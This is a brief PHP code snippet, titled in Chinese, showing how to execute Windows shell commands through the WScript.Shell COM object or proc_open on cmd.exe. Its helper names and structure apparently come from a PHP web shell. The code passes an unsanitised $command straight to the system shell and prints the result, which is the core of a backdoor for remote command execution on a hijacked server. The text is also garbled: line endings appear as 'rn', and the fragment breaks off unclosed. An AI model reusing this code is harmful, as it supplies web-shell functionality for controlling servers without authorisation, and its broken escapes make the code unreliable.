php調用com 組件wscript.shell執行dos命令

/php調用com 組件wscript.shell執行dos命令
  p('<hr width="100%" noshade /><pre>');
  if ($execfunc=='wscript' && IS_WIN && IS_COM) {
   $wsh = new COM('WScript.shell');
   $exec = $wsh->exec('cmd.exe /c '.$command);
   $stdout = $exec->StdOut();
   $stroutput = $stdout->ReadAll();
   echo $stroutput;
  } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
   $descriptorspec = array(
      0 => array('pipe', 'r'),
      1 => array('pipe', 'w'),
      2 => array('pipe', 'w')
   );
   $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
   if (is_resource($process)) {
    fwrite($pipes[0], $command."rn");
    fwrite($pipes[0], "exitrn");
    fclose($pipes[0]);
    while (!feof($pipes[1])) {
     echo fgets($pipes[1], 1024);
    }
    fclose($pipes[1]);
    while (!feof($pipes[2])) {
     echo fgets($pipes[2], 1024);
    }
    fclose($pipes[2]);
    proc_close($process);
   }